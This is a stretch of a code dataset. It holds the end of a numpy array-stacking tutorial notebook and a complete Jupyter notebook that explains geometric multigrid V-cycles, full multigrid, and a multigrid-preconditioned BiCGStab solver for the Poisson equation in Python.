stacking is. That would be hstack.\n", "\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "np.hstack((ndim_ar, ndim_ar2))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 20, "text": [ "array([[ 0, 1, 2, 3, 11, 9, 7, 5],\n", " [ 4, 5, 6, 7, 4, 1, 5, 12],\n", " [ 8, 9, 10, 11, 7, 9, 12, 11]])" ] } ], "prompt_number": 20 }, { "cell_type": "code", "collapsed": false, "input": [ "ar3 = np.hstack((ar,ar2))\n", "ar3" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 21, "text": [ "array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 10, 5, 1, 2, 12,\n", " 10, 1, 2, 11, 9, 10, 1])" ] } ], "prompt_number": 21 }, { "cell_type": "code", "collapsed": false, "input": [ "ar" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 22, "text": [ "array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])" ] } ], "prompt_number": 22 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Of course we aren\u2019t limited to two arrays, we can stack as many as we like.\n", "\n", "We can also use concatenate to join them together. We can specify the axis to do so." ] }, { "cell_type": "code", "collapsed": false, "input": [ "np.concatenate((ar,ar2))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 23, "text": [ "array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 10, 5, 1, 2, 12,\n", " 10, 1, 2, 11, 9, 10, 1])" ] } ], "prompt_number": 23 }, { "cell_type": "markdown", "metadata": {}, "source": [ "we can stack them dimensionally with dstack. Now we\u2019ve got a 3 dimensional join of these two two dimensional arrays.\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3 = np.concatenate((ndim_ar,ndim_ar2), axis=0)\n", "ndim_ar3" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 24, "text": [ "array([[ 0, 1, 2, 3],\n", " [ 4, 5, 6, 7],\n", " [ 8, 9, 10, 11],\n", " [11, 9, 7, 5],\n", " [ 4, 1, 5, 12],\n", " [ 7, 9, 12, 11]])" ] } ], "prompt_number": 24 }, { "cell_type": "code", "collapsed": false, "input": [ "np.concatenate((ndim_ar,ndim_ar2), axis=1)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 25, "text": [ "array([[ 0, 1, 2, 3, 11, 9, 7, 5],\n", " [ 4, 5, 6, 7, 4, 1, 5, 12],\n", " [ 8, 9, 10, 11, 7, 9, 12, 11]])" ] } ], "prompt_number": 25 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3d = np.dstack((ndim_ar,ndim_ar2))\n", "ndim_ar3d" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 26, "text": [ "array([[[ 0, 11],\n", " [ 1, 9],\n", " [ 2, 7],\n", " [ 3, 5]],\n", "\n", " [[ 4, 4],\n", " [ 5, 1],\n", " [ 6, 5],\n", " [ 7, 12]],\n", "\n", " [[ 8, 7],\n", " [ 9, 9],\n", " [10, 12],\n", " [11, 11]]])" ] } ], "prompt_number": 26 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can split them back with the dsplit command. This gives us back our original arrays." ] }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3d_split = np.dsplit(ndim_ar3d, 2)\n", "ndim_ar3d_split" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 27, "text": [ "[array([[[ 0],\n", " [ 1],\n", " [ 2],\n", " [ 3]],\n", " \n", " [[ 4],\n", " [ 5],\n", " [ 6],\n", " [ 7]],\n", " \n", " [[ 8],\n", " [ 9],\n", " [10],\n", " [11]]]), array([[[11],\n", " [ 9],\n", " [ 7],\n", " [ 5]],\n", " \n", " [[ 4],\n", " [ 1],\n", " [ 5],\n", " [12]],\n", " \n", " [[ 7],\n", " [ 9],\n", " [12],\n", " [11]]])]" ] } ], "prompt_number": 27 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3d_split[0].flatten()" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 28, "text": [ "array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])" ] } ], "prompt_number": 28 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3d_split[1].flatten()" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 29, "text": [ "array([11, 9, 7, 5, 4, 1, 5, 12, 7, 9, 12, 11])" ] } ], "prompt_number": 29 }, { "cell_type": "code", "collapsed": false, "input": [ "ar" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 30, "text": [ "array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])" ] } ], "prompt_number": 30 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can do the same with hsplit and vsplit.\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "np.hsplit(ar3,2)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 31, "text": [ "[array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]),\n", " array([10, 5, 1, 2, 12, 10, 1, 2, 11, 9, 10, 1])]" ] } ], "prompt_number": 31 }, { "cell_type": "code", "collapsed": false, "input": [ "ndim_ar3" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 32, "text": [ "array([[ 0, 1, 2, 3],\n", " [ 4, 5, 6, 7],\n", " [ 8, 9, 10, 11],\n", " [11, 9, 7, 5],\n", " [ 4, 1, 5, 12],\n", " [ 7, 9, 12, 11]])" ] } ], "prompt_number": 32 }, { "cell_type": "code", "collapsed": false, "input": [ "np.vsplit(ndim_ar3,2)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 33, "text": [ "[array([[ 0, 1, 2, 3],\n", " [ 4, 5, 6, 7],\n", " [ 8, 9, 10, 11]]), array([[11, 9, 7, 5],\n", " [ 4, 1, 5, 12],\n", " [ 7, 9, 12, 11]])]" ] } ], "prompt_number": 33 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now that's all that I wanted to cover. I will mention that there isa dedicated matrix formation but going over this is outside the scope of this tutorial.\n", "\n", "\n", "At this point we\u2019ve covered a lot of numpy. Now I\u2019m sure you\u2019re thinking this isn\u2019t quite applied but a lot of this functionality will be embedded into pandas. so it\u2019s great to review. With these videos we\u2019ve covered a lot of what you\u2019ll find yourself using in numpy but don\u2019t be afraid to dive into the documentation yourself. There are some things that I haven\u2019t covered like specific matrix types, linear algebra but these are outside the scope of this introduction. If you\u2019ve got any questions please feel free to ask in the discussion." ] }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] } ], "metadata": {} } ] }

apache-2.0

AbhilashReddyM/GeometricMultigrid

notebooks/Multigrid.ipynb

1

26622

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# The Making of a Preconditioner\n", "\n", "by [Abhilash Reddy M](www.abhilashreddy.com)\n", "\n", "This notebook ultimately demonstrates a multigrid preconditioned Krylov solver in python3. The code and more examples are present on github at [GeometricMultigrid](https://github.com/AbhilashReddyM/GeometricMultigrid). The problem solved is the Poisson equation on a rectangular domain with homogenous dirichlet boundary conditions. Finite difference with cell-centered discretization is used to get a second order accurate solution. First, the V-cycle is explained, followed by Full-Multigrid and finally a demonstration of a multigrid (V-cycle) preconditioned Krylov solver.\n", "\n", "### Multigrid algorithm\n", "We need some terminology before going further.\n", "- Approximation\n", "- Residual\n", "- Exact solution\n", "- Correction\n", "\n", "Let $A u = f $ be the system of linear equations with an exact solution $u_{ex}$, and let $u_0$ be an approximation to $u_{ex}$. Then the error is $e=u_{ex}-u_0$ . Multiplying this by $A$ we get $A e = A u_{ex} - A u_0$. Obviously, $A u_{ex} =f $, which means $A e = f - A u_0 $. The quantity $f - A u_0 =r $ is called the residual and $A e = r$ is called the residual equation. If we solve this problem, i.e., if we find $e$, the solution to the original problem is $(u_0+e)$. The quantity $e$ is also called \"correction\" because it \"corrects\" the initial approximation to give a better approximation. For a linear system of equations, solving the residual equation is equivalent to solving the original problem.\n", "\n", "\n", "What is described here is a basic geometric multigrid algorithm, where a series of nested grids are used. There are four parts to this multigrid algorithm\n", "- Smoothing Operator (a.k.a Relaxation)\n", "- Restriction Operator\n", "- Interpolation Operator (a.k.a Prolongation Operator)\n", "- Bottom solver\n", "\n", "All of these are defined below. To begin import numpy." ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [], "source": [ "import numpy as np" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Smoothing operator\n", "As the name suggests this is any procedure that smooths the input function. The simplest smoothers are a certain number of Jacobi or a Gauss-Seidel iterations. Below is defined a smoother that uses Gauss Seidel sweeps and returns the result of the smoothing along with the residual. " ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "def GSrelax(nx,ny,u,f,iters=1):\n", " '''\n", " Gauss Seidel smoothing\n", " '''\n", " \n", " dx=1.0/nx\n", " dy=1.0/ny\n", "\n", " Ax=1.0/dx**2\n", " Ay=1.0/dy**2\n", " Ap=1.0/(2.0*(Ax+Ay))\n", "\n", " #BCs. Homogeneous Dirichlet BCs\n", " u[ 0,:] = -u[ 1,:]\n", " u[-1,:] = -u[-2,:]\n", " u[:, 0] = -u[:, 1]\n", " u[:,-1] = -u[:,-2]\n", "\n", " for it in range(iters):\n", " for i in range(1,nx+1):\n", " for j in range(1,ny+1):\n", " u[i,j]= Ap*( Ax*(u[i+1,j]+u[i-1,j])\n", " +Ay*(u[i,j+1]+u[i,j-1]) - f[i,j])\n", " #BCs. Homogeneous Dirichlet BCs\n", " u[ 0,:] = -u[ 1,:]\n", " u[-1,:] = -u[-2,:]\n", " u[:, 0] = -u[:, 1]\n", " u[:,-1] = -u[:,-2]\n", "\n", " #calculate the residual\n", " res=np.zeros([nx+2,ny+2])\n", " for i in range(1,nx+1):\n", " for j in range(1,ny+1):\n", " res[i,j]=f[i,j] - ((Ax*(u[i+1,j]+u[i-1,j])+Ay*(u[i,j+1]+u[i,j-1]) - 2.0*(Ax+Ay)*u[i,j]))\n", " return u,res" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Interpolation Operator\n", "This operator takes values on a coarse grid and transfers them onto a fine grid. It is also called prolongation. The function below uses bilinear interpolation for this purpose. 'v' is on a coarse grid and we want to interpolate it on a fine grid and store it in v_f. " ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [], "source": [ "def prolong(nx,ny,v):\n", " '''\n", " interpolate 'v' to the fine grid\n", " '''\n", " v_f=np.zeros([2*nx+2,2*ny+2])\n", "\n", " for i in range(1,nx+1):\n", " for j in range(1,ny+1):\n", " v_f[2*i-1,2*j-1] = 0.5625*v[i,j]+0.1875*(v[i-1,j]+v[i,j-1])+0.0625*v[i-1,j-1]\n", " v_f[2*i ,2*j-1] = 0.5625*v[i,j]+0.1875*(v[i+1,j]+v[i,j-1])+0.0625*v[i+1,j-1]\n", " v_f[2*i-1,2*j ] = 0.5625*v[i,j]+0.1875*(v[i-1,j]+v[i,j+1])+0.0625*v[i-1,j+1]\n", " v_f[2*i ,2*j ] = 0.5625*v[i,j]+0.1875*(v[i+1,j]+v[i,j+1])+0.0625*v[i+1,j+1]\n", " return v_f" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Restriction\n", "This is exactly the opposite of the interpolation. It takes values from the find grid and transfers them onto the coarse grid. It is an averaging process. *This is fundamentally different from interpolation*. It is like \"lumping\". Each coarse grid point is surrounded by four fine grid points. So quite simply we take the value of the coarse point to be the average of 4 fine points. Here 'v' is the fine grid quantity and 'v_c' is the coarse grid quantity " ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [], "source": [ "def restrict(nx,ny,v):\n", " '''\n", " restrict 'v' to the coarser grid\n", " '''\n", " v_c=np.zeros([nx+2,ny+2])\n", " \n", " for i in range(1,nx+1):\n", " for j in range(1,ny+1):\n", " v_c[i,j]=0.25*(v[2*i-1,2*j-1]+v[2*i,2*j-1]+v[2*i-1,2*j]+v[2*i,2*j])\n", " return v_c" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Note that we have looped over the coarse grid in both the cases above. It is easier to access the variables this way.\n", "### Bottom Solver\n", "This comes into picture at the coarsest level, at the bottom of a V-cycle. At this level, an exact solution(to a particular derived linear system) is needed. This must be something that gives us the exact/converged solution. The number of unknowns is very small at this level(e.g 2x2=4 or 1x1=1 ) and the linear system can be solved exactly (to roundoff) by the smoother itself with few iterations. In this notebook we use 50 iterations are used here of our smoother. If we coarsify to just one point, then just one iteration will solve it exactly.\n", "\n", "The quantities *approximation*, *error*, *residual* are used frequently and are essential to understanding the multigrid algorithm. Typically, the actual solution solution variable 'u' is present only on the finest grid. It is only used on the finest grid. The unknowns on the coarse grid are something different (the *error*). The information that goes from a fine to coarse grid is the residual. The information that goes from a coarse grid to a fine grid is *correction* or *error*, often called \"Coarse-grid correction\".\n", "\n", "## V-cycle\n", "\n", "Now that we have all the parts, we are ready to build our multigrid algorithm. We will look at a V-cycle. the function is self explanatory. It is a recursive function,i.e., it calls itself. It takes as input an initial guess 'u', the rhs 'f', the number of multigrid levels 'num_levels' among other things. At each level the V cycle calls another V-cycle. At the lowest level the solving is exact. (If this is too complex, I would suggest starting with a two-grid scheme and then extending it to V-cycle.)" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [], "source": [ "def V_cycle(nx,ny,num_levels,u,f,level=1):\n", " '''\n", " V cycle\n", " '''\n", " if(level==num_levels):#bottom solve\n", " u,res=GSrelax(nx,ny,u,f,iters=50)\n", " return u,res\n", "\n", " #Step 1: Relax Au=f on this grid\n", " u,res=GSrelax(nx,ny,u,f,iters=1)\n", "\n", " #Step 2: Restrict residual to coarse grid\n", " res_c=restrict(nx//2,ny//2,res)\n", "\n", " #Step 3:Solve A e_c=res_c on the coarse grid. (Recursively)\n", " e_c=np.zeros_like(res_c)\n", " e_c,res_c=V_cycle(nx//2,ny//2,num_levels,e_c,res_c,level+1)\n", "\n", " #Step 4: Interpolate(prolong) e_c to fine grid and add to u\n", " u+=prolong(nx//2,ny//2,e_c)\n", " \n", " #Step 5: Relax Au=f on this grid\n", " u,res=GSrelax(nx,ny,u,f,iters=1)\n", " return u,res" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The first part of the function only kicks in at the coarsest level, where an exact solution is required. So we ignore it initially.\n", "\n", "**Step 1:** Apply smoothing to $Au=f$. With the u and f that is specified in the arguments. The matrix $A$ is the discretized poisson matrix at this level of discretization with the right BCs. An approximation and a residual are obtained here.\n", "\n", "**Step 2**: The residual is transferred(restricted) to the next coarser grid.\n", "\n", "**Step 3**: The residual equation $ A e = r $ is solved on the next coarse grid, by calling V_cycle() with the guessed solution(zeros) and the RHS that was obtained by restriction of residual. Here is where the resursion happens. \n", "\n", "**Step 4**: The error or correction obtained by solving the residual equation on the coarser grid is interpolated and added to the approximation on this grid. This is the new approximation on this grid.\n", "\n", "**Step 5**: This new approximation is smoothed on this grid. and the solution and residual are returned\n", "\n", "Thats it! Now we can see it in action. We can use a problem with a known solution to test our code. The following functions set up a rhs for a problem with homogenous dirichlet BC on the unit square." ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [], "source": [ "#analytical solution\n", "def Uann(x,y):\n", " return (x**3-x)*(y**3-y)\n", "#RHS corresponding to above\n", "def source(x,y):\n", " return 6*x*y*(x**2+ y**2 - 2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let us set up the problem, discretization and solver details. The number of divisions along each dimension is given as a power of two function of the number of levels. In principle this is not required, but having it makes the inter-grid transfers easy.\n", "The coarsest problem is going to have a 2-by-2 grid." ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [], "source": [ "#input\n", "max_cycles = 18\n", "nlevels = 6 \n", "NX = 2*2**(nlevels-1)\n", "NY = 2*2**(nlevels-1)\n", "tol = 1e-12 " ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [], "source": [ "#the grid has one layer of ghost cellss\n", "uann=np.zeros([NX+2,NY+2])#analytical solution\n", "u =np.zeros([NX+2,NY+2])#approximation\n", "f =np.zeros([NX+2,NY+2])#RHS\n", "\n", "#calcualte the RHS and exact solution\n", "DX=1.0/NX\n", "DY=1.0/NY\n", "\n", "xc=np.linspace(0.5*DX,1-0.5*DX,NX)\n", "yc=np.linspace(0.5*DY,1-0.5*DY,NY)\n", "XX,YY=np.meshgrid(xc,yc,indexing='ij')\n", "\n", "uann[1:NX+1,1:NY+1]=Uann(XX,YY)\n", "f[1:NX+1,1:NY+1] =source(XX,YY)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now we can call the solver" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "mgd2d.py solver:\n", "NX: 64 , NY: 64 , tol: 1e-12 levels: 6\n", " cycle: 1 , L_inf(res.)= 0.642629986844 ,L_inf(true error): 0.0317166429701\n", " cycle: 2 , L_inf(res.)= 0.123076148245 ,L_inf(true error): 0.0065444191256\n", " cycle: 3 , L_inf(res.)= 0.0285399250988 ,L_inf(true error): 0.00129511576103\n", " cycle: 4 , L_inf(res.)= 0.00609759348049 ,L_inf(true error): 0.000235909148521\n", " cycle: 5 , L_inf(res.)= 0.00122382928112 ,L_inf(true error): 6.8460206701e-05\n", " cycle: 6 , L_inf(res.)= 0.000240202872419 ,L_inf(true error): 6.91074731238e-05\n", " cycle: 7 , L_inf(res.)= 4.75025444757e-05 ,L_inf(true error): 6.9208166063e-05\n", " cycle: 8 , L_inf(res.)= 9.33801720748e-06 ,L_inf(true error): 6.92235458747e-05\n", " cycle: 9 , L_inf(res.)= 1.79272751666e-06 ,L_inf(true error): 6.92258641371e-05\n", " cycle: 10 , L_inf(res.)= 3.36130483447e-07 ,L_inf(true error): 6.922621108e-05\n", " cycle: 11 , L_inf(res.)= 6.28469933872e-08 ,L_inf(true error): 6.92262629658e-05\n", " cycle: 12 , L_inf(res.)= 1.16460796562e-08 ,L_inf(true error): 6.92262707657e-05\n", " cycle: 13 , L_inf(res.)= 2.17323758989e-09 ,L_inf(true error): 6.92262719492e-05\n", " cycle: 14 , L_inf(res.)= 4.19959178544e-10 ,L_inf(true error): 6.92262721307e-05\n", " cycle: 15 , L_inf(res.)= 8.03197508503e-11 ,L_inf(true error): 6.92262721588e-05\n", " cycle: 16 , L_inf(res.)= 1.51771928358e-11 ,L_inf(true error): 6.92262721632e-05\n", " cycle: 17 , L_inf(res.)= 2.84217094304e-12 ,L_inf(true error): 6.92262721638e-05\n", "L_inf (true error): 6.92262721639e-05\n" ] } ], "source": [ "print('mgd2d.py solver:')\n", "print('NX:',NX,', NY:',NY,', tol:',tol,'levels: ',nlevels)\n", "for it in range(1,max_cycles+1):\n", " u,res=V_cycle(NX,NY,nlevels,u,f)\n", " rtol=np.max(np.max(np.abs(res)))\n", " if(rtol<tol):\n", " break\n", " error=uann[1:NX+1,1:NY+1]-u[1:NX+1,1:NY+1]\n", " print(' cycle: ',it,', L_inf(res.)= ',rtol,',L_inf(true error): ',np.max(np.max(np.abs(error))))\n", "\n", "error=uann[1:NX+1,1:NY+1]-u[1:NX+1,1:NY+1]\n", "print('L_inf (true error): ',np.max(np.max(np.abs(error))))\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**True error** is the difference of the approximation with the analytical solution. It is largely the discretization error. This what would be present when we solve the discrete equation with a direct/exact method like gaussian elimination. We see that true error stops reducing at the 5th cycle. The approximation is not getting any better after this point. So we can stop after 5 cycles. But, in general we dont know the true error. In practice we use the norm of the (relative) residual as a stopping criterion. As the cycles progress the floating point round-off error limit is reached and the residual also stops decreasing.\n", "\n", "This was the multigrid V cycle. We can use this as preconditioner to a Krylov solver. But before we get to that let's complete the multigrid introduction by looking at the Full Multi-Grid algorithm. You can skip this section safely.\n", "\n", "## Full Multi-Grid \n", "We started with a zero initial guess for the V-cycle. Presumably, if we had a better initial guess we would get better results. So we might solve a coarse problem exactly (recursively with FMG) and interpolate it onto the fine grid and use that as the initial guess for the V-cycle. The result of doing this recursively is the Full Multi-Grid(FMG) Algorithm. Unlike the V-cycle which was an iterative procedure, FMG is a direct solver. There is no successive improvement of the approximation. It straight away gives us an result that is within the discretization error. The FMG algorithm is given below." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [], "source": [ "def FMG(nx,ny,num_levels,f,nv=1,level=1):\n", "\n", " if(level==num_levels):#bottom solve\n", " u=np.zeros([nx+2,ny+2]) \n", " u,res=GSrelax(nx,ny,u,f,iters=50)\n", " return u,res\n", "\n", " #Step 1: Restrict the rhs to a coarse grid\n", " f_c=restrict(nx//2,ny//2,f)\n", "\n", " #Step 2: Solve the coarse grid problem using FMG\n", " u_c,_=FMG(nx//2,ny//2,num_levels,f_c,nv,level+1)\n", "\n", " #Step 3: Interpolate u_c to the fine grid\n", " u=prolong(nx//2,ny//2,u_c)\n", "\n", " #step 4: Execute 'nv' V-cycles\n", " for _ in range(nv):\n", " u,res=V_cycle(nx,ny,num_levels-level,u,f)\n", " return u,res" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Lets call the FMG solver for the same problem" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "mgd2d.py FMG solver:\n", "NX: 64 , NY: 64 , levels: 6\n", " FMG L_inf(res.)= 0.00520405221036\n", "L_inf (true error): 6.64976295283e-05\n" ] } ], "source": [ "print('mgd2d.py FMG solver:')\n", "print('NX:',NX,', NY:',NY,', levels: ',nlevels)\n", "\n", "u,res=FMG(NX,NY,nlevels,f,nv=1) \n", "rtol=np.max(np.max(np.abs(res)))\n", "\n", "print(' FMG L_inf(res.)= ',rtol)\n", "error=uann[1:NX+1,1:NY+1]-u[1:NX+1,1:NY+1]\n", "print('L_inf (true error): ',np.max(np.max(np.abs(error))))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "And... It works! The residual is large but the true error is within the discretization level. FMG is said to be scalable because the amount of work needed is linearly proportional to the the size of the problem. In big-O notation, FMG is $\\mathcal{O}(N)$. Where N is the number of unknowns. Exact methods (Gaussian Elimination, LU decomposition ) are $\\mathcal{O}(N^3)$ " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Stationary iterative methods as preconditioners\n", "A preconditioner is matrix is an easily invertible approximation of the coefficient matrix. We dont explicitly need a matrix because we dont access the elements by index, coefficient matrix or preconditioner. What we do need is the action of the matrix on a vector. That is we need the matrix-vector product only. The coefficient matrix can be defined as a function that takes in a vector and returns the matrix vector product.\n", "\n", "Now, a stationary iterative method for solving an equation can be written as a Richardson iteration. When the initial guess is set to zero and one iteration is performed, what you get is the action of the preconditioner on the RHS vector. That is, we get a preconditioner-vector product, which is what we want.\n", "\n", "**This allows us to use any blackbox function stationary iterative method as a preconditioner**\n", "\n", "We can use the multigrid V-cycle as a preconditioner this way. We cant use FMG because it is not an iterative method.\n", "\n", "The matrix as a function can be defined using **LinearOperator** from **scipy.sparse.linalg**. It gives us an object which works like a matrix in-so-far as the product with a vector is concerned. It can be used as a regular 2D numpy array in multiplication with a vector. This can be passed to GMRES() or BiCGStab() as a preconditioner.\n", "\n", "Having a symmetric preconditioner would be nice because it will retain the symmetry if the original problem is symmetric. The multigrid V-cycle above is not symmetric because the Gauss-Seidel preconditioner is unsymmetric. If we were to use jacobi method, or symmetric Gauss-Seidel (SGS) method, then symmetry would be retained. As such Conjugate Gradient method will not work here becuase our preconditioner is not symmetric. It is possible to keep the symmetry intact when using Gauss-Seidel relaxation if the ordering (order of evaluation in GS) is opposite in the pre and post smoothing sweeps. \n", "\n", "Below is the code for defining a V-Cycle preconditioner. It returns a (scipy.sparse.linalg.) LinearOperator that can be passed to Krylov solvers as a preconditioner" ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [], "source": [ "from scipy.sparse.linalg import LinearOperator,bicgstab\n", "def MGVP(nx,ny,num_levels):\n", " def pc_fn(v):\n", " u =np.zeros([nx+2,ny+2])\n", " f =np.zeros([nx+2,ny+2])\n", " f[1:nx+1,1:ny+1] =v.reshape([nx,ny])\n", " #perform one V cycle\n", " u,res=V_cycle(nx,ny,num_levels,u,f)\n", " return u[1:nx+1,1:ny+1].reshape(v.shape)\n", " M=LinearOperator((nx*ny,nx*ny), matvec=pc_fn)\n", " return M" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let us define the Poisson matrix also as a Linear Operator " ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [], "source": [ "def Laplace(nx,ny):\n", " def mv(v):\n", " u =np.zeros([nx+2,ny+2])\n", " ut=np.zeros([nx,ny])\n", " u[1:nx+1,1:ny+1]=v.reshape([nx,ny])\n", "\n", " dx=1.0/nx; dy=1.0/ny\n", " \n", " Ax=1.0/dx**2;Ay=1.0/dy**2\n", " \n", " #BCs. Homogenous Dirichlet\n", " u[ 0,:] = -u[ 1,:]\n", " u[-1,:] = -u[-2,:]\n", " u[:, 0] = -u[:, 1]\n", " u[:,-1] = -u[:,-2]\n", " \n", " for i in range(1,nx+1):\n", " for j in range(1,ny+1):\n", " ut[i-1,j-1]=(Ax*(u[i+1,j]+u[i-1,j])+Ay*(u[i,j+1]+u[i,j-1]) - 2.0*(Ax+Ay)*u[i,j])\n", " return ut.reshape(v.shape)\n", " return mv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The nested function is required because \"matvec\" in LinearOperator takes only one argument-- the vector. But we require the grid details and boundary condition information to create the Poisson matrix. Now will use these to solve a problem. Unlike earlier where we used an analytical solution and RHS, we will start with a random vector which will be our exact solution, and multiply it with the Poisson matrix to get the RHS vector for the problem. There is no analytical equation associated with the matrix equation\n", "\n", "The scipy sparse solve routines do not return the number of iterations performed. We can use this wrapper to get the number of iterations " ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [], "source": [ "def solve_sparse(solver,A, b,tol=1e-10,maxiter=500,M=None):\n", " num_iters = 0\n", " def callback(xk):\n", " nonlocal num_iters\n", " num_iters+=1\n", " x,status=solver(A, b,tol=tol,maxiter=maxiter,callback=callback,M=M)\n", " return x,status,num_iters" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Lets look at what happens with and without the preconditioner." ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "without preconditioning. status: 0 , Iters: 146\n", "error : 1.62363409384e-08\n", "With preconditioning. status: 0 , Iters: 7\n", "error : 4.48214265703e-09\n" ] } ], "source": [ "A = LinearOperator((NX*NY,NX*NY), matvec=Laplace(NX,NY))\n", "#Exact solution and RHS\n", "uex=np.random.rand(NX*NY,1)\n", "b=A*uex\n", "\n", "#Multigrid Preconditioner\n", "M=MGVP(NX,NY,nlevels)\n", "\n", "u,info,iters=solve_sparse(bicgstab,A,b,tol=1e-10,maxiter=500)\n", "print('without preconditioning. status:',info,', Iters: ',iters)\n", "error=uex.reshape([NX,NY])-u.reshape([NX,NY])\n", "print('error :',np.max(np.max(np.abs(error))))\n", "\n", "u,info,iters=solve_sparse(bicgstab,A,b,tol=1e-10,maxiter=500,M=M)\n", "print('With preconditioning. status:',info,', Iters: ',iters)\n", "\n", "error=uex.reshape([NX,NY])-u.reshape([NX,NY])\n", "print('error :',np.max(np.max(np.abs(error))))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Without the preconditioner ~150 iterations were needed, where as with the V-cycle preconditioner the solution was obtained in far fewer iterations. This is not to say that the preconditioning gives a faster solution, because the cost of the preconditioner also has to be taken into account. But generally it is the case that the correct preconditioning significantly reduces the effort needed to get a solution, and thus is faster. Additionally, an iterative procedure may not even converge in the absense of a preconditioner. \n", "\n", "So, there we have it. A Multigrid Preconditioned Krylov Solver. \n", "\n", "The problem considered was a very simple one. With homogeneous dirichlet BCs we have same same BCs at all grid levels. For general BCs some additional considerations are required. Even when there are non homogeneous dirichlet BCs, on the coarse grid we still get homogeneous BCs because on the coarse grid we are solving the residual equation.\n", "\n", "The github repo, [GeometricMultigrid](https://github.com/AbhilashReddyM/GeometricMultigrid), contains the 3D version of this multigrid algorithm, along with some other examples. Here, readability of the code has been prioritized over performance. By using `numpy` array operations, the performance can be significantly improved and large ($\\sim128^3$) problems can be solved quickly on a personal computer. This is shown in the github repo as well. " ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.3" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

dereneaton/ipyrad

newdocs/API-analysis/cookbook-mb-ipcoal.ipynb

1

291110

